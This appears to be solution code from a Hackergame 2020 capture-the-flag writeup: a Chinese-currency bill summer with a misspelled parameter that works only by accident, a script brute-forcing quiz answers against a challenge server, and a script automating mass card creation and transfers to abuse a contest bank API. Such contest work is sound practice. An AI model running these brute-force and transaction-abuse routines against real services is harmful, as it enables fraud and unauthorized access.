Hackergame 2020 writeup code

bills.py

import cn2an


result = 0


def remove_zero(amount: str) -> str:
    if amount[0] == "零":
        return amount[1:]
    return amount


def parse_amount(amonut: str) -> float:
    yuan = jiao = fen = 0
    if len(amount.split("元")) == 2:
        yuan, other = amount.split("元")
        yuan = cn2an.cn2an(remove_zero(yuan))
    else:
        other = amount
    if len(other.split("角")) == 2:
        jiao, other = other.split("角")
        jiao = cn2an.cn2an(remove_zero(jiao))
    if "分" in other:
        fen = other.split("分")[0]
        fen = cn2an.cn2an(remove_zero(fen))

    return int(yuan) + int(jiao) / 10 + int(fen) / 100


with open("./bills.txt", 'r', encoding='gbk') as f:
    lines = f.readlines()
    lines = lines[1:]
    for line in lines:
        amount, count = line.split("\t")
        amount = parse_amount(amount)
        count = int(count)
        result = result + amount * count


print(result)

cat_answers.py

import requests

cookies = dict(session="")


def fuck(questions, answers):
    data = {"q1": "1", "q2": "256", "q3": "9", "q4": "1", "q5": "17098"}
    for index, question in enumerate(questions):
        data[question] = answers[index]
    r = requests.post("http://202.38.93.111:10001/", data=data, cookies=cookies)

    if "flag{" in r.text:
        print(r.text)
        exit()


for i in range(6, 23 + 1):
    for j in range(1, 30):
        print(i, j)
        fuck(["q1", "q4"], [str(i), str(j)])

hack_bank.py

import requests

headers = {"Authorization": ""}


def transfer(src_num: int, dest_num: int, amount: int):
    data = {"src": src_num, "dst": dest_num, "amount": amount}
    r = requests.post(
        "http://202.38.93.111:10100/api/transfer", json=data, headers=headers
    )


def new_credit_card():
    data = {"type": "credit"}
    r = requests.post(
        "http://202.38.93.111:10100/api/create", json=data, headers=headers
    )


def new_debit_card():
    data = {"type": "debit"}
    r = requests.post(
        "http://202.38.93.111:10100/api/create", json=data, headers=headers
    )


def eat(card_num: int):
    data = {"account": 1}
    r = requests.post("http://202.38.93.111:10100/api/eat", json=data, headers=headers)


current_credit_card = 2
current_debit_card = 0
for i in range(75):
    print(f"Running {i}")
    new_credit_card()
    for j in range(12):
        new_debit_card()
        current_debit_card = current_credit_card + 1 + j
        transfer(current_credit_card, current_debit_card, 167)

    transfer(current_credit_card, 1, 90)
    current_credit_card = current_credit_card + 12 + 1

for day in range(10):
    eat(1)